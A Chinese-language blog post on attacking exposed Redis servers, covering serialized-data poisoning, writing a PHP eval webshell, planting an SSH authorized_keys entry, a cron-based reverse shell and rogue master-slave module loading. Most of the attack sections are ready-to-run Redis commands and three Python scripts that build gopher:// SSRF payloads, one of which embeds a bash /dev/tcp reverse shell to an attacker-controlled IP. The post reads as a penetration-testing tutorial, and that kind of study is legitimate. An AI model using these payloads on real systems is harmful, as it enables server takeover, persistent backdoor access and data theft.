Ethan's Blog

Redis多维度角度下的攻击面

字数统计: 2.4k阅读时长: 9 min
2019/09/15 Share

前言

Redis是一个使用C编写的、基于内存的键值对存储数据库。由于数据被存储在内存中,所以拥有极快的 数据存储和读取速度,很多应用场合都用到了Redis数据库。Redis出现了很多安全问题,今天我们就Redis的安全问题进行下探讨!

初识Redis

Redis的使用非常简单,我们只需要在终端输入 redis‐cli ,就可以进入Redis的交互模式。使用setget命令进行数据库的存储和查询。

我们也可以直接nc连接到6379端口进行操作

这就意味着如果我们可以直接或者间接通过控制某个程序访问到6379端口,并且能控制部分访问内容,就可能实现任意命令执行。

Redis攻击面分析

Redis未授权访问的攻击方法

Redis未授权访问的攻击由来已久,在配置错误的情况下,Redis被绑定在0.0.0.0或者暴露在公网的情况下。这个时候任何人都可以在未授权的情况下,对Redis数据库进行操作!默认安装的情况下,Redis是没有密码的。

常见的未授权攻击手段有下面几种,大多实际场景中都要与SSRF配合使用,因为现在直接暴露在公网的未授权攻击的情况越来越少了。

Redis里存储的序列化数据利用

Redis中经常会存储各种序列化后的数据。Python相关的站点就可能将经过 Pickle、Yaml 序列化后的数据存储在 Redis 里。还有一些缓存的库可能就直接选择序列化后存入 Redis 中。

当Redis存在未授权攻击时,攻击者可以通过直接修改 Redis 中序列化后的数据,改为恶意payload。等待相关的程序读取该数据并反序列化该数据,反序列化时就会造成命令执行。

案例参考:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

使用绝对路径写webshell

这个应用场景存在较多。Redis可以通过config命令向固定路径的文件写入内容,这个功能被利用来向指定文件写入恶意内容,特别是当你的Redis是以root权限运行的情况下,这个危害祸害无穷!

我们可以通过下面的命令组合实现写shell的功能

1
2
3
4
5
flushall
set 1 '<?php eval($_GET["123"]);?>'
config set dir /var/www/html
config set dbfilename kale.php
save

在实际场景中通常结合SSRF漏洞,如果支持Gopher协议则可以结合Gopher协议发送GET,POST请求。Gopher协议的功能和http相似,只不过它更早所以现在应用场景少了很多。

在进行之前,要把数据格式进行转换,因为Redis使用的RESP协议通信的,所以我们要把数据格式转换为RESP数据包相应的格式:https://redis.io/topics/protocol

我们使用下面的脚本进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="目标ip"
port="6379"
shell="\n\n<?php eval($_GET[\"kale\"]);?>\n\n"
filename="kale.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

利用curl发送我们的数据包

我们直接发送会失败,因为现在新版的redis为了安全默认安装是绑定本地ip的,并且配置了安全模式

我们修改为本地ip

成功写入

Redis写SSH公钥

如果你渗透的环境的Redis的是以root权限运行的,并且.ssh目录存在,我们可以尝试写入~/.ssh/authorized_keys,如果不存在的话,可以使用crontab创建。

想要成功写入还需要两个配置,一个是关闭保护模式protected-mode no,如果开启保护模式的话,未经认证的用户是不允许执行恶意命令的。

首先在自己的电脑生成公钥对,这里未设置ssh密码

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt

把公钥写入目标机器的缓存

cat /root/.ssh/temp.txt | redis-cli -h 192.168.23.176 -x set xxx

我们可以使用以下命令组合写SSH公钥

1
2
3
4

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

尝试无密码连接

转化为RESP协议格式,并且使用gopher协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="目标ip"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFHnxKTU8is9f23Rm3+Sr3GgTlZJJXEgSRwIbRcQqEdLWxAIr6xiWFMAisuvnXC+6MKyn3Eg1FQBs9po2xeN5CtlVOG3M2IQVSTMD/PJI+bQ/i7cP47MjlHontrDgUKSN3iV1vHwT4r07f9+5o0D/F4QuyTQa5bSWTuA/nh6au27Kk/JssIVqaErLEyJelE9XdYjYUMNZfK0WetF7+kjCKkbsVEN4vJl9LPHud5fclevC/Jeshcgopiy+eToBgF9N5DiScmGysB4QQW9sEGN+/BYjn6rnY8U6GJ/2vMPk+nRpryCNP/EPN2u+noUfG0NlviScmlgf3y5uM4So75BFB root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成payload

尝试连接

使用contrab计划任务反弹shell

这种方法由于权限问题,通常只能在Centos使用,Ubuntu却不行。因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件权限必须是600,否则会报错。而Centos的定时任务执行,权限为644也可以。

Centos的定时任务文件在/var/spool/cron/,另外/etc/crontab这个文件虽然也可以执行定时任务,但是需要root,在高版本的Redis中,默认启动是以Redis权限运行的。

可以通过下列命令组合,来实现反弹shell

1
2
3
4
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.23.176/4444 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

转化为redis RESP协议格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
protocol="gopher://"
ip='192.168.23.66'
port='6379'
reverse_ip="192.168.23.176"
reverse_port="4444"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成payload,并打过去

未授权攻击面临的问题

上面三种方式主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。

但是随着发展,docker兴起,而docker服务部署模式越发朝着组件化发展。一个单一redis服务的docker,可能除了Redis服务什么都没有。这种情况下就算Redis是root权限运行,这一系列写shell的操作也不能实现。更何况往往还有严格的权限限制。

通过主从复制 GetShell

主从复制

Redis提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

建立主从节点,只需要操作从节点即可,主节点,不需要任何设置。

我在一台主机上开启了两个Redis实例,一个端口为6379,一个为6860。

我们使用SLAVEOF命令将主节点的ip设置为127.0.0.1,端口为6860

以上就是主从复制的过程,从节点同步复制了主节点的数据,并且完成了向用户读的功能

Redis模块功能

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。是不是想到了so注入的操作。

编写恶意so文件的代码,来自github

https://github.com/RicterZ/RedisModules-ExecuteCommand

原理介绍

Pavel Toporkov在2018年的zeronights会议上分享了漏洞的原理, PPT如下:

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

当在两个Redis实例设置主从模式的时候,Redis的主节点实例可以通过FULLRESYNC(全量复制)同步文件到从机上。我们可以在从节点上加载so文件,我们就可以执行拓展的新命令了。

漏洞复现

我们使用模拟的恶意主节点来作为主机,并模拟fullresync(全量复制)请求。就可以把so文件加载到从节点上,即我们攻击的主机!

使用脚本:https://github.com/LoRexxar/redis-rogue-server

使用本机的实例进行测试

然后连接实例就可以执行命令

CATALOG
  1. 1. 前言
  2. 2. 初识Redis
  3. 3. Redis攻击面分析
    1. 3.1. Redis未授权访问的攻击方法
      1. 3.1.1. Redis里存储的序列化数据利用
      2. 3.1.2. 使用绝对路径写webshell
      3. 3.1.3. Redis写SSH公钥
      4. 3.1.4. 使用contrab计划任务反弹shell
    2. 3.2. 未授权攻击面临的问题
    3. 3.3. 通过主从复制 GetShell
      1. 3.3.1. 主从复制
      2. 3.3.2. Redis模块功能
      3. 3.3.3. 原理介绍
      4. 3.3.4. 漏洞复现